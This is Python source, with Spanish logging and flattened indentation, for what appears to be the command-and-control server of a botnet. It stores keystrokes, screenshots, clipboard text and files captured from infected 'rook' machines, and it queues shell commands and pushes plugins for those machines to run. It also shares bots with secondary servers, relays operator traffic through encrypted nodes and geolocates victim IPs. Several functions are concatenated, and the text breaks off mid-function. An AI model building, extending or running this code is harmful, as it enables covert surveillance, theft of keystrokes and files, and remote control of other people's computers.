def main(result, log, bot_id):
if (isinstance(result, list)):
if (len(result) == 0):
log.logger('¡No se obtuvieron capturas de pantalla!', debug.COM)
else:
log.logger('Se obtuvieron %d capturas de pantalla' % (len(result)),
debug.PER) if (len(result) > 1) else log.logger(
'Se obtuvo 1 captura de pantalla', debug.PER)
log.logger('Guardando ...', debug.INF)
for _ in result:
filename = '{}/{}/{}.screenshot.png'.format(
profile, bot_id, token_urlsafe(32))
with open(filename, 'wb') as file_object:
file_object.write(bytes_convert.convert(_))
log.logger('Guardado: "{}"'.format(filename), debug.PER)
else:
log.logger(
'El tipo de dato de los resultados de las capturas de pantalla no son correctos',
debug.WAR)
def main(result, log, bot_id, function):
function = str(function).lower()
if (function in ['copy', 'paste']):
if (function == 'copy'):
log.logger('¡Datos copiados correctamente!', debug.INF)
else:
text = str(result)
clipboard_name = '{}/{}/{}.clipboard.txt'.format(
profile, bot_id, token_urlsafe(32))
log.logger('¡Portapapeles capturado! ...', debug.INF)
log.logger('Guardando (%d) ...' % (len(text)), debug.WAR)
with open(clipboard_name, 'wb') as file_object:
file_object.write(bytes_convert.convert(text))
log.logger('Portapales guardado: {}'.format(clipboard_name),
debug.PER)
else:
log.logger(
'{}, No es una función válida para este complemento'.format(
function), debug.WAR)
def wrap(filename, passwd, content=None):
passwd = str(passwd).encode()
_aes = aes.AESCript(passwd)
if not (content == None):
with open(filename, 'wb') as _file_object:
result = _file_object.write(
_aes.encrypt(bytes_convert.convert(content)))
chmod(filename, 0o444)
return (result)
else:
with open(filename, 'rb') as _file_object:
try:
dat = _aes.decrypt(_file_object.read())
except:
#DEBUG
#raise
return (False)
else:
return (dat if not (dat == '') else False)
def decrypt(passwd, data, use_base64=True):
_aes = aes.AESCript(bytes_convert.convert(passwd))
return (load(
_aes.decrypt(
decompress(b64decode(data) if (use_base64 == True) else data))))
def download(self, filename, outname, save=True):
raw_data = {}
result = self.send(('RECV-FILE', filename))
for url, data in result.items():
raw_data[url] = []
if not (data[0] == False):
_bak_outname = rename_order.rename(outname)
if not (_bak_outname == False):
outname = _bak_outname
_recv = data[1]
try:
_recv = int(_recv)
except ValueError:
pass
if not (_recv == 0):
if (save == True):
with open(outname, 'wb') as file_object:
file_object.write(bytes_convert.convert(_recv))
raw_data[url].append((True, filename, outname))
else:
raw_data[url].append((True, _recv))
else:
raw_data[url].append((False, filename, outname))
else:
raw_data[url].append((False, filename, outname))
return (raw_data)
def main(result, log, function, bot_id):
if (function == 'copytree') or (function == 'copy') or (function
== 'detect'):
if (isinstance(result, tuple)):
filename = basename(str(result[0])).strip()
if not (filename == ''):
filename = '{}/{}/{}'.format(profile, bot_id, filename)
bak_filename = rename_order.rename(filename)
if not (bak_filename == False):
filename = bak_filename
with open(filename, 'wb') as file_object:
file_object.write(bytes_convert.convert(result[1]))
log.logger('Guardado: {}'.format(filename), debug.PER)
else:
log.logger('El nombre del archivo es inválido', debug.WAR)
else:
log.logger(
'El tipo de dato del resultados de los archivos capturados no es correcto',
debug.WAR)
elif (function == 'init'):
log.logger(
'Capturado: {} => {}'.format(dirname(result[0]),
basename(result[0])), debug.PER)
else:
log.logger(
'{} no es una función válida para este complemento'.format(
function), debug.WAR)
def main(result, log, bot_id):
if (isinstance(result, list)):
result = [str(x) for x in result]
keys = replace(''.join(result), [('[space]', ' '), ('[tab]', '\t'),
('[shift_r]', ''), ('[shift_l]', '')])
filename = '{}/{}/{}.keys.txt'.format(profile, bot_id,
token_urlsafe(32))
with open(filename, 'wb') as file_object:
file_object.write(bytes_convert.convert(keys))
log.logger('Teclas guardadas en "{}"'.format(filename), debug.PER)
else:
log.logger(
'¡El tipo de dato de los resultados de las capturas de teclas no es correcta!',
debug.WAR)
def execute(data, bot_id, log):
if not (check_values.check(data, 2) == True):
log.logger(nomenclature_error, debug.WAR)
return (False, None)
(key, value) = data
profile = '%s/%s/%s' % (db_dirname, profiles, bot_id)
create_folder.create(profile)
execute = True
result = None
bot_id = str(bot_id)
if (key == 'ping'):
log.logger('ping ... haciendo pong ...', debug.INF)
result = (1, 'pong')
elif (key == 'SEND-FILE'):
if (check_values.check(value, 2) == False):
log.logger(nomenclature_error, debug.WAR)
execute = False
else:
_content = value[0]
filename = basename(str(value[1]))
file_path = '{}/{}'.format(profile, filename)
_bak_file_path = rename_order.rename(file_path)
log.logger('Verificando la existencia del archivo ...', debug.INF)
if not (_bak_file_path == False):
log.logger(
'El archivo: "{}" existe, renombrando a: "{}"'.format(
file_path, _bak_file_path), debug.WAR)
file_path = _bak_file_path
else:
log.logger(
'No existe: "{}", procediendo a escribir ...'.format(
file_path), debug.PER)
log.logger('Escribiendo: "{}" ...'.format(file_path), debug.PER)
try:
if (cipher_file == True):
wrap_file.wrap(file_path, wrap._new_passwd, _content)
else:
with open(file_path, 'wb') as file_object:
file_object.write(bytes_convert.convert(_content))
except Exception as Except:
log.logger(
'Ocurrio un error escribiendo a: "{}"'.format(file_path),
debug.WAR)
execute = False
else:
log.logger('Escrito: "{}" ...'.format(file_path), debug.PER)
elif (key == 'RECV-FILE'):
file_path = '{}/{}/{}'.format(share_folder, bot_id,
basename(str(value)))
if (isfile(file_path)):
log.logger('Enviando el archivo: "{}" ...'.format(file_path),
debug.PER)
try:
if (cipher_file == True):
result = wrap_file.wrap(file_path, wrap._new_passwd)
if (result == False):
log.logger(
'{}, no se pudo desencriptar..., Intentando sin desencriptar...'
.format(file_path), debug.WAR)
if (result == False) or (cipher_file == False):
with open(file_path, 'rb') as file_object:
result = file_object.read()
except Exception as Except:
log.logger(
'Ocurrio un error leyendo a: "{}"'.format(file_path))
execute = False
else:
log.logger('Enviando ...', debug.WAR)
else:
log.logger(
'El archivo: "{}", no existe ...'.format(basename(file_path)),
debug.COM)
result = '0'
execute = False
elif (key == 'SHELL-EXEC'):
result = []
_commands = wrap.read(bot_id, 'commands', separate=True)
_index = 0
if not (_commands == False):
try:
if (len(_commands) == 0):
raise IndexError
for _ in _commands:
if (_[0] == False):
result.append(_[1])
if (wrap.write(bot_id,
'commands',
True,
target=wrap.TARGET_SUBINDEX_UPDATE,
array_subindex=(_index, 0),
separate=True) == True):
log.logger(
'No se volverá a ejecutar "{}" ...'.format(
_[1]), debug.WAR)
else:
log.logger(
'Hubo un error actualizando los datos del comando: "{}"'
.format(_[1]))
_index += 1
except IndexError:
log.logger(
'Aún no hay comandos ingresados por parte del encargado de administrar el bot',
debug.WAR)
result = (False, None)
else:
if (len(result) > 0):
log.logger('Ejecutara "{}"'.format(', '.join(result)),
debug.PER)
result = (True, result)
else:
log.logger(
'No se puede ejecutar comandos, ya que no están disponibles!',
debug.WAR)
result = (False, None)
else:
log.logger(
'Ocurrio un error leyendo los comandos de: "{}"'.format(
bot_id), debug.WAR)
execute = False
elif (key == 'addserver'):
bot_servers = wrap.read(bot_id, 'servers', separate=True)
if not (bot_servers == False):
result = bot_servers
_servers = []
for _ in result:
_servers.append(_[0])
if not (len(_servers) == 0):
log.logger(
'Enviando servidores secundarios: "{}"'.format(
', '.join(_servers)), debug.WAR)
else:
log.logger('No hay servidores secundarios disponibles ...',
debug.WAR)
execute = False
else:
log.logger(
'Ocurrio un error leyendo los servidores secundario de: "{}"'.
format(bot_id), debug.COM)
execute = False
elif (key == 'getPeers'):
log.logger('Leyendo base de datos de los puntos ...', debug.INF)
_data = wrap.getall(agent=wrap.USE_PEER)
if (len(_data) > 0):
log.logger('Enviando puntos de la red ...', debug.INF)
result = uniqdata.uniqdata(
list(list(_data.values())[0].values())[0])
else:
log.logger('Aún no hay puntos en la red ...', debug.COM)
execute = False
elif (key == 'addPeer'):
if not (isinstance(value, dict)):
log.logger(
'El tipo de dato de los puntos a agregar no es un diccionario ...',
debug.WAR)
execute = False
else:
if (None in [
log.logger('{}, No está definido'.format(x), debug.WAR)
for x in
['url', 'username', 'passphrase', 'db_passwd', 'hash']
if (key_check_in_dict.check(value, x) == False)
]):
execute = False
else:
_result = []
_data = wrap.read(bot_id, 'peers', agent=wrap.USE_PEER)
_hash = value['hash']
_exists = value in _data if not (_data == False) else False
log.logger(
'Agregando punto en la red -> {} ({})'.format(
value['url'], value['hash']), debug.PER)
if (_data == False):
if (wrap.add(bot_id, {'peers': [value]},
agent=wrap.USE_PEER) == True):
log.logger('Primer punto de la red agregado ...',
debug.INF)
else:
log.logger(
'Hubo un error agregando un punto de la red por primera vez ...',
debug.COM)
execute = False
else:
if (_exists == True):
log.logger('El punto de la red ya existe!', debug.WAR)
log.logger('Actualizando datos ...', debug.INF)
else:
log.logger('Nuevo punto en la red detectado ...',
debug.INF)
_result.append(value)
for _ in _data:
if (_['hash'] == _hash):
log.logger(
'Coincidencia: "%s"; Editando ...' % (_hash),
debug.PER)
_['url'] = value['url']
_['db_passwd'] = value['db_passwd']
_['passphrase'] = value['passphrase']
_['username'] = value['username']
_result.append(_)
_result = uniqdata.uniqdata(_result)
if (wrap.add(bot_id, {'peers': _result},
agent=wrap.USE_PEER) == True):
log.logger('Puntos escritos con éxito!', debug.INF)
else:
log.logger(
'Error escribiendo datos de los puntos de la red ...',
debug.COM)
elif (key == 'getQueue'):
result = wrap.read(bot_id, 'Queue', separate=True)
if not (result == []):
if (wrap.write(bot_id,
'Queue',
None,
separate=True,
target=wrap.TARGET_UNSET) == True):
log.logger('¡Se reiniciaron los comandos en cola!', debug.WAR)
else:
log.logger(
'Hubo un error actualizando los comandos en cola...',
debug.COM)
else:
log.logger('Aún no hay comandos en cola', debug.WAR)
elif (key == 'loadModule'):
moduleName = basename(str(value)).strip()
if not (moduleName == '') and not (re.search(r'(?=\.+)', moduleName)):
log.logger('Va a cargar un complemento...', debug.WAR)
# Por ahora la ruta se especifica de esta forma porque sólo es válida para arquitecturas de 32bits con SO Windows
modulePath = '{}/{}/rook/src/init.py'.format(
global_conf.databases['complements'], moduleName)
log.logger('Cargando a "{}" ...'.format(modulePath), debug.PER)
if (isfile(modulePath)):
with open(modulePath, 'rb') as file_object:
result = file_object.read()
log.logger('¡Complemento cargado!', debug.INF)
else:
log.logger(
'{}, No existe como complemento ...'.format(moduleName),
debug.WAR)
execute = False
else:
log.logger('El nombre del complemento no es válido')
execute = False
elif (key == 'resultModule'):
if (check_values.check(value, 4) == False):
log.logger(nomenclature_error, debug.WAR)
execute = False
else:
log.logger('Envío un resultado de un complemento ...', debug.INF)
config = {
'result': value[1],
'log': log,
'bot_id': bot_id,
'remote_addr': log.address,
'function': value[2],
'exception': value[3],
'args': parse_args
}
moduleName = basename(str(value[0])).strip()
modulePath = '{}.{}.evie.init'.format(
global_conf.databases['complements'],
moduleName).replace('/', '.')
if not (moduleName == '') and not (re.search(
r'(?=\.+)', moduleName)):
log.logger(
'Interactuando con el complemento "{}" ...'.format(
moduleName), debug.PER)
try:
data = {}
mod = importlib.reload(importlib.import_module(modulePath))
def moduleMain(*args, **kwargs):
try:
mod.main(*args, **kwargs)
except Exception as Except:
log.logger(
'Ocurrio un error al ejecutar el complemento "{}". Excepción: "{}"'
.format(moduleName, Except), debug.WAR)
if (hasattr(mod, 'main') == True):
if not (isfunction(getattr(mod, 'main')) == True):
log.logger('¡main, no es una función!', debug.WAR)
return (False, None)
else:
log.logger('La función "main" no está definida',
debug.WAR)
return (False, None)
for _ in getfullargspec(mod.main).args:
if not (_ in config):
log.logger(
'{} no es un parámetro válido'.format(_),
debug.WAR)
return (False, None)
else:
data[_] = config[_]
mod_thread = threading.Thread(
target=moduleMain,
name=generate_uniqkey.generate(),
kwargs=data)
mod_thread.start()
except ModuleNotFoundError:
log.logger(
'¡El complemento "{}" no existe!'.format(moduleName),
debug.WAR)
execute = False
except Exception as Except:
log.logger(
'Error importando "{}": {}'.format(moduleName, Except),
debug.WAR)
execute = False
else:
log.logger(
'Nuevo hilo iniciado ({}) para {} ...'.format(
mod_thread.name, moduleName), debug.PER)
else:
log.logger('El nombre del complemento no es válido', debug.WAR)
execute = False
else:
access = wrap.write(bot_id, 'data', data, separate=True)
if (access == True):
log.logger('¡Datos agregados con éxito!', debug.INF)
else:
log.logger(
'¡Hubo un error desconocido al agregar datos al almacén!',
debug.COM)
execute = False
return (execute, result)
def encrypt(passwd, data, use_base64=True):
_aes = aes.AESCript(bytes_convert.convert(passwd))
data = compress(_aes.encrypt(bytes_convert.convert(dump(data))))
return (b64encode(data) if (use_base64 == True) else data)
def main(result, log, args):
wrap = evieModule.CreateDatabase('GeoIP')
rhost = str(result)
log.logger('Tratando de localizar a: "{}"'.format(rhost), debug.WAR)
try:
data = get('http://ip-api.com/json/{}'.format(rhost)).json()
except json.decoder.JSONDecodeError:
log.logger(
'Error descodificando los datos al intentar localizar a: "{}"'.
format(rhost), debug.WAR)
except Exception as Except:
log.logger(
'Ocurrio una excepción conectando a la API para localizar a: "{}"'.
format(rhost), debug.WAR)
else:
if not (data['status'] == 'fail'):
print(
'\033[1;34m* \033[37mInformación obtenida de \033[0m"\033[1;4;37m{}\033[0m" \033[1;34m*\033[0m'
.format(data['query']))
print()
print('\033[1;34mPaís: \033[32m{}'.format(data['country']))
print('\033[1;34mCiudad: \033[32m{}'.format(data['city']))
print('\033[1;34mCódigo del País: \033[32m{}'.format(
data['countryCode']))
print('\033[1;34mProveedor de Servicios: \033[32m{}'.format(
data['isp']))
print('\033[1;34mRegión: \033[32m{}'.format(data['region']))
print('\033[1;34mNombre de la región: \033[32m{}'.format(
data['regionName']))
print('\033[1;34mOrganización: \033[32m{}'.format(data['org']))
print('\033[1;34mAsociación: \033[32m{}'.format(data['as']))
print('\033[1;34mZona Horaria: \033[32m{}'.format(
data['timezone']))
print('\033[1;34mLatitud: \033[32m{}'.format(data['lat']))
print('\033[1;34mLongitud: \033[32m{}'.format(data['lon']))
print('\033[1;34mMapa de Google: \033[32m{}\033[0m'.format(
'https://www.google.com/maps/place/\033[31m{0}\033[0;1;32m,\033[31m{1}\033[0;1;32m/@\033[31m{0}\033[0;1;32m,\033[31m{1}\033[0;1;32m,16z\033[0m'
.format(data['lat'], data['lon'])))
log.logger('Almacenando datos de "{}" ...'.format(rhost),
debug.PER)
if (wrap.add(
md5(bytes_convert.convert(result)).hexdigest(),
{'geoip': data}) == True):
log.logger('¡Almacenado con éxito!', debug.INF)
else:
log.logger(
'Error almacenando los datos de la dirección: "{}"'.format(
rhost), debug.COM)
else:
log.logger(
'No se pudo obtener información de "{}". Puede que no sea una dirección válida.'
.format(rhost), debug.WAR)
def execute(data, admin, log, reply):
if not (check_values.check(data, 2) == True):
log.logger(nomenclature_error, debug.WAR)
return(False, None)
else:
if not (check_values.check(data[0], 2) == True):
log.logger(nomenclature_error, debug.WAR)
return(False, None)
try:
((key, value), (use_nodes, node_headers)) = data
except TypeError:
((key, value), use_nodes) = data
node_headers = None
if (reply == True):
use_nodes = False
admin = str(admin)
limits = 1
result = None
execute = True
error = False
if (check_privileges.check(admin, key) == False):
return(False, (-1, log.logger('No tiene permiso o hace falta el siguiente privilegio: "%s"' % (key), debug.COM)))
if not (use_nodes == False):
log.logger('Usará a Evie como el nodo de entrada ...', debug.WAR)
if (check_privileges.check(admin, 'useNodes') == False):
return(False, (False, log.logger('No tiene permiso de usar a Evie como el nodo de inicio ...', debug.WAR)))
# - - - - - - - - - - - - - - - - - - - - - - -
try:
check_headers.check(node_headers)
except check_headers.InvalidHeader:
return(False, (False, log.logger('El encabezado no es válido para la petición ...', debug.WAR)))
nodes = wrap.read(use_nodes, 'list', agent=wrap.USE_NODE)
if (nodes == False):
return(False, (False, log.logger('No se encontró nodos disponibles a partir del (id)entificador proporcionado', debug.WAR)))
wrap_nodes = {}
end_node = nodes[-1]
nodes_order = nodes[:-1]
if (RULE == 'RANDOM'):
shuffle(nodes_order)
nodes = nodes_order + [end_node]
node_rule = 0
secrets_keys = [x[2] for x in nodes[:-1]]
for _ in nodes:
if (_[0] == nodes[0][0]):
wrap_nodes[None] = [0, None, None]
_first_node_url = _[0]
_first_node_token = _[1]
continue
secret_key = secrets_keys[node_rule]
if not (_[0] == end_node[0]):
wrap_nodes[simplycrypt.encrypt(secret_key, _[0])] = [1, simplycrypt.encrypt(secret_key, _[1]), sha1(_[0].encode()).hexdigest()]
else:
wrap_nodes[simplycrypt.encrypt(secret_key, _[0])] = [1, None, sha1(_[0].encode()).hexdigest()]
node_rule += 1
_cipher = lambda string: hibrid.encrypt(string, end_node[4])
_construct = {}
_construct['username'] = end_node[1]
_construct['passphrase'] = end_node[2]
_construct['uniqkey'] = end_node[3]
_construct['iterations'] = end_node[5]
_construct['security_number'] = end_node[6]
_construct['decrement_number'] = end_node[7]
_construct['chars'] = end_node[8]
_construct['data'] = _cipher(((key, value), False))
_construct['reply'] = _cipher('1')
response = connector.connect(_first_node_url, _first_node_token, 'resend', (wrap_nodes, _construct), log, headers=node_headers)
response = str(response) if (response == None) else response
if (response == False):
log.logger('¡Ocurrio un error con la respuesta!', debug.WAR)
else:
log.logger('Recibido (lon:%d) ... mandando respuesta final ...' % (len(response)), debug.INF)
return(response)
if (key == 'listBots'):
if (check_values.check(value, 2) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
log.logger('Mandando lista de rook\'s ...', debug.INF)
users = {}
end_limit = check_int.check(value[0])
pattern = str(value[1])
if not (end_limit == None):
log.logger('Indexando rook\'s ...', debug.INF)
for bot_id, bot_name in enum_bots.enum(admin, False):
if (re.search(pattern, bot_name, re.IGNORECASE)):
users[bot_id] = bot_name
if (limits == end_limit):
break
limits += 1
if (len(users) == 0):
log.logger('¡No se obtuvo ninguna coincidencia!', debug.WAR)
else:
log.logger('Mandando "%d" rook\'s ...' % (len(users)), debug.PER)
result = users
else:
result = log.logger(convert_int_error.format(value), debug.WAR)
execute = False
elif (key == 'getData'):
if (check_values.check(value, 2) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
log.logger('Mandando datos ...', debug.INF)
bot_id = str(value[0])
end_limit = check_int.check(value[1])
if not (end_limit == None):
if (admin_in_bot.check(admin, bot_id)):
log.logger('Mandando datos de: "{}" ...'.format(bot_id), debug.PER)
result = listOrder(bot_id, 'data', end_limit)
else:
result = log.logger('No tiene permisos para obtener los datos de "{}"'.format(bot_id), debug.WAR)
execute = False
else:
result = log.logger(convert_int_error.format(value[1]), debug.WAR)
execute = False
elif (key == 'getCommands'):
if (check_values.check(value, 2) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
log.logger('Mandando comandos ...', debug.INF)
bot_id = str(value[0])
end_limit = check_int.check(value[1])
if not (end_limit == None):
if (admin_in_bot.check(admin, value[0])):
log.logger('Mandando comandos de: "{}"'.format(bot_id), debug.PER)
result = listOrder(bot_id, 'commands', end_limit)
else:
result = log.logger('No tiene permisos para obtener los comandos de "{}"'.format(bot_id), debug.WAR)
execute = False
else:
result = log.logger(convert_int_error.format(value[1]), debug.WAR)
execute = False
elif (key == 'executeCommand'):
if (check_values.check(value, 2) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
bot_id = str(value[0])
_cmd = str(value[1])
log.logger('Agregará un comando a ser ejecutado por: "{}"'.format(bot_id), debug.PER)
if (admin_in_bot.check(admin, bot_id)):
# [False, command], donde "False", qué quiere decir que aún no se ejecuta ese comando
if (wrap.write(bot_id, 'commands', [False, _cmd], separate=True) == True):
result = log.logger('Se agrego el comando: "{}"'.format(_cmd), debug.PER)
else:
result = log.logger('Error agregando el comando "{}" a "{}"'.format(_cmd, bot_id), debug.COM)
execute = False
else:
result = log.logger('No tiene permiso de agregarle "{}" a "{}" ...'.format(_cmd, bot_id), debug.WAR)
execute = False
elif (key == 'shareBot'):
if (check_values.check(value, 5) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
bot_id = str(value[0])
_secundaryServerAddr = str(value[1])
_api_key = str(value[2])
_headers = value[3]
_shareFiles = bool(value[4])
try:
check_headers.check(_headers)
except check_headers.InvalidHeader:
result = log.logger('El encabezado no es válido para la petición ...', debug.WAR)
execute = False
else:
if (check_url.check(_secundaryServerAddr, log) == False):
log.logger('Se va a compartir el rook: "{}" para el siguiente servidor: "{}"'.format(bot_id, _secundaryServerAddr), debug.WAR)
if (admin_in_bot.check(admin, bot_id)):
response = sharebot.share(bot_id, _secundaryServerAddr, _api_key, _headers, _shareFiles, log)
if (response == True):
log.logger('Agregando servidor secundario a :: "{}"'.format(bot_id), debug.WAR)
_secundaryServers = wrap.read(bot_id, 'servers', separate=True)
_server = '%s://%s/' % (urlparse(_secundaryServerAddr).scheme, urlparse(_secundaryServerAddr).netloc)
if not (_server in _secundaryServers):
_obj = wrap.getall(wrap.USE_TMP)
_hash_server = sha1(_secundaryServerAddr.encode()).hexdigest()
if not (_obj.get(_hash_server) == None):
if (wrap.write(bot_id, 'servers', [_server, _obj[_hash_server]['pub_key']], separate=True) == True):
result = log.logger('Agregado, servidor secundario: "{}" a "{}"'.format(_server, bot_id), debug.PER)
else:
execute = False
result = log.logger('Error agregando el servidor secundario: "{}"'.format(_server), debug.COM)
else:
execute = False
result = log.logger('Hubo un error, no se pudo obtener la clave pública del servidor secundario: "{}"'.format(_server), debug.COM)
else:
execute = False
result = log.logger('¡El servidor secundario ya existe!', debug.WAR)
else:
result = log.logger('Ocurrio un error enviando el rook: "{}"'.format(response[1]), debug.WAR)
execute = False
else:
result = log.logger('No tiene permisos para compartir el siguiente rook "{}"'.format(bot_id), debug.WAR)
execute = False
else:
result = log.logger('La dirección del servidor secundario no es correcta ...', debug.WAR)
execute = False
elif (key == 'getToken'):
log.logger('Compartiendo el token de acceso público ...', debug.INF)
result = wrap.read('token', 'token', agent=wrap.USE_TOKEN)
elif (key == 'listServers'):
if (check_values.check(value, 2) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
log.logger('Mandando lista de servidores secundarios ...', debug.INF)
bot_id = str(value[0])
end_limit = check_int.check(value[1])
if not (end_limit == None):
if (admin_in_bot.check(admin, bot_id)):
log.logger('Enviado, lista de servidores secundarios', debug.INF)
result = []
_dat = listOrder(bot_id, 'servers', end_limit)
[result.append(x[0]) for x in _dat]
else:
result = log.logger('No tiene permiso para obtener los servidores secundarios de "{}"'.format(bot_id), debug.WAR)
execute = False
else:
result = log.logger(convert_int_error.format(value[1]))
execute = False
elif (key == 'delServer'):
if (check_values.check(value, 2) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
log.logger('Borrara un servidor secundario ...', debug.WAR)
bot_id = str(value[0])
_index = check_int.check(value[1], False)
if (_index == None):
result = log.logger('{}, No es un indíce correcto'.format(value[1]), debug.WAR)
execute = False
else:
if (admin_in_bot.check(admin, bot_id)):
try:
secundaryServer = wrap.read(bot_id, 'servers', separate=True)[_index]
if (wrap.write(bot_id, 'servers', _index, target=wrap.TARGET_DELETE_INDEX, separate=True) == True):
result = log.logger('Borro el servidor secundario: "{} - (indíce:{})"'.format(secundaryServer[0], _index), debug.COM)
else:
result = log.logger('No se puede borrar el servidor secundario ...', debug.WAR)
execute = False
except IndexError:
result = log.logger('Es probable que el indíce proporcionado no sea correcta para la operación ...', debug.COM)
execute = False
else:
result = log.logger('No tiene permiso para borrar el servidor secundario de "{}"'.format(bot_id), debug.WAR)
execute = False
elif (key == 'writeNodes'):
log.logger('Escribirá nodos ...', debug.WAR)
log.logger('Comprobando que siga la especificación acordada ...', debug.WAR)
log.logger('Comprobando el tipo de dato ...', debug.INF)
if not (isinstance(value, list)):
error = True
log.logger('El tipo de dato no es correcto ...', debug.WAR)
else:
log.logger('El tipo de dato es correcto', debug.INF)
if (len(value) < 2):
error = True
result = log.logger('¡La longitud de los nodos no es correcta!', debug.WAR)
else:
log.logger('La longitud de los nodos es correcta', debug.INF)
_init_node = value[:-1]
_end_node = value[-1]
if not (isinstance(_init_node, list)) or not (isinstance(_end_node, list)):
error = True
log.logger('¡El tipo de dato de los nodos intermedios o del nodo final no es correcta!', debug.WAR)
else:
if not (len(_init_node) >= 1):
error = True
log.logger('¡La longitud de los nodos intermedios no es correcta!', debug.WAR)
else:
log.logger('Comprobando longitud de los nodos intermedios individualmente ...', debug.INF)
if not ([] == [log.logger('¡La longitud de {} no es correcta!'.format(x), debug.WAR) for x in _init_node if (len(x) != 3)]):
error = True
result = log.logger('La longitud de un nodo intermedio no es correcta ...', debug.WAR)
else:
log.logger('La longitud de los nodos intermedios es correcta', debug.INF)
log.logger('Comprobando las direcciónes de los nodos intermedios ...', debug.WAR)
for i, _ in enumerate(_init_node):
log.logger('Comprobando dirección: {}'.format(_[0]), debug.WAR)
_url = value[i][0] = str(_[0])
value[i][1] = str(_[1])
error = check_url.check(_url, log)
if (error == True):
break
if (error == False):
log.logger('Comprobando longitud del nodo final ...', debug.WAR)
if not (len(_end_node) == 9):
error = True
result = log.logger('La longitud del nodo final no es correcta ...', debug.WAR)
else:
log.logger('La longitud del nodo final es correcta', debug.INF)
log.logger('Comprobando que no haya campos vacios ...', debug.WAR)
if (True in [True for x in _end_node if (x == '')]):
error = True
result = log.logger('Hay campos sin definir ...', debug.WAR)
else:
log.logger('Comprobando la dirección del nodo final: {}'.format(_end_node[0]), debug.WAR)
error = check_url.check(_end_node[0], log)
if (error == False):
log.logger('¡Comprobación exitosa!', debug.INF)
_nodes = []
log.logger('Generando (id)entificador del nodo ...', debug.INF)
_node_id = generate_uniqkey.generate()
log.logger('Generado: %s' % (_node_id), debug.PER)
[_nodes.append(x[0]) for x in value]
log.logger('Escribiendo nodos "%s" en el almacén' % (' -> '.join(_nodes)), debug.PER)
if (wrap.add(_node_id, {'list':value}, agent=wrap.USE_NODE) == True):
log.logger('Nodos escritos correctamente (ID:{})'.format(_node_id), debug.PER)
result = _node_id
else:
result = log.logger('No se pudo escribir los nuevos nodos (ID:{})'.format(_node_id), debug.WAR)
execute = False
else:
execute = False
elif (key == 'addNode'):
if (check_values.check(value, 2) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
node_id = str(value[0])
node = value[1]
if not (isinstance(node, list)):
result = log.logger('¡El tipo de dato del nodo no es correcto!', debug.WAR)
execute = False
else:
if (len(node) != 3):
result = log.logger('La longitud del nodo no es correcta', debug.WAR)
execute = False
else:
if (check_url.check(node[0], log) == True):
result = log.logger('¡La dirección URL no es válida!', debug.WAR)
execute = False
else:
if (wrap.write(node_id, 'list', node, agent=wrap.USE_NODE, target=wrap.TARGET_INSERT, index_insert=-1) == True):
result = log.logger('Nuevo nodo agregado: {} (ID:{})'.format(node[0], node_id), debug.PER)
else:
result = log.logger(log.logger('No se pudo agregar al nodo: "{}" (ID:{})'.format(node[0], node_id)), debug.COM)
execute = False
elif (key == 'getNodes'):
action = str(value)
if (action.lower() == 'all'):
log.logger('Obteniendo datos de todos los nodos', debug.INF)
result = wrap.getall(agent=wrap.USE_NODE)
else:
log.logger('Obteniendo datos del nodo -> {}'.format(action), debug.PER)
result = wrap.read(action, 'list', agent=wrap.USE_NODE)
if not (result == False):
log.logger('Enviando los datos de los nodos ...', debug.INF)
else:
result = log.logger('Error enviando los datos de los nodos', debug.COM)
execute = False
elif (key == 'delNodes'):
if (check_values.check(value, 2) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
node = str(value[0])
action = str(value[1])
log.logger('Borrara nodos ...', debug.WAR)
if (str(action).lower() == 'all'):
log.logger('Borrando los nodos del ID: "{}"'.format(node), debug.COM)
if (wrap.delete(node) == True):
result = log.logger('Borrado, todos los nodos de "{}"'.format(node), debug.WAR)
else:
result = log.logger('Error borrando: "{}"'.format(node), debug.WAR)
execute = False
else:
_index = check_int.check(action, False)
if not (_index == None):
log.logger('Verificando que haya minimo, un nodo intermedio y el nodo final, para evitar un borrado peligroso ...', debug.WAR)
_nodes = wrap.read(node, 'list', agent=wrap.USE_NODE)
if not (_nodes == False):
if (len(_nodes) > 2):
if not (_index == -1) and not (_index == len(_nodes)-1):
_node_to_delete = _nodes[_index][0]
log.logger('Borrando el nodo -> {} (ID:{})'.format(_node_to_delete, node), debug.COM)
if (wrap.write(node, 'list', action, agent=wrap.USE_NODE, target=wrap.TARGET_DELETE_INDEX) == True):
result = log.logger('Borrado: "{}" (ID:{})'.format(_node_to_delete, node), debug.WAR)
else:
result = log.logger('Error borrando "{}" (ID:{})'.format(_node_to_delete, node), debug.COM)
execute = False
else:
result = log.logger('¡No se puede borrar el nodo final!', debug.WAR)
execute = False
else:
result = log.logger('No puede borrar nodos, mientras haya solamente un nodo intermedio', debug.WAR)
execute = False
else:
result = log.logger('¡No existe el nodo especificado!', debug.WAR)
execute = False
else:
result = log.logger(convert_int_error.format(action), debug.WAR)
execute = False
elif (key == 'updateNode'):
if (check_values.check(value, 4) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
node_id = str(value[0])
value_ = str(value[1])
_index = check_int.check(value[2], False)
_subindex = check_int.check(value[3], False)
if (_index == None):
error = True
result = log.logger('{}, No es un indíce correcto'.format(_index), debug.WAR)
if (_subindex == None):
error = True
result = log.logger('{}, No es un sub-indíce correcto'.format(_subindex), debug.WAR)
if (error == False):
log.logger('Actualizando nodo: "ID:{}"'.format(node_id), debug.PER)
_get_nodes = wrap.read(node_id, 'list', agent=wrap.USE_NODE)[-1]
if (_index == -1) or (_index == len(_get_nodes)-1):
if (_subindex != 0):
return(False, log.logger('No puedes actualizar ningún dato del nodo final al menos que sea la dirección URL', debug.WAR))
if (_subindex == 0):
log.logger('Actualizará la dirección URL de un nodo...', debug.WAR)
if (check_url.check(value_, log) == True):
return(False, log.logger('La dirección URL no es válida', debug.WAR))
if (wrap.write(node_id, 'list', value_, agent=wrap.USE_NODE, target=wrap.TARGET_SUBINDEX_UPDATE, array_subindex=(_index, _subindex)) == True):
result = log.logger('Nodo (ID:{}) actualizado con éxito'.format(node_id), debug.PER)
else:
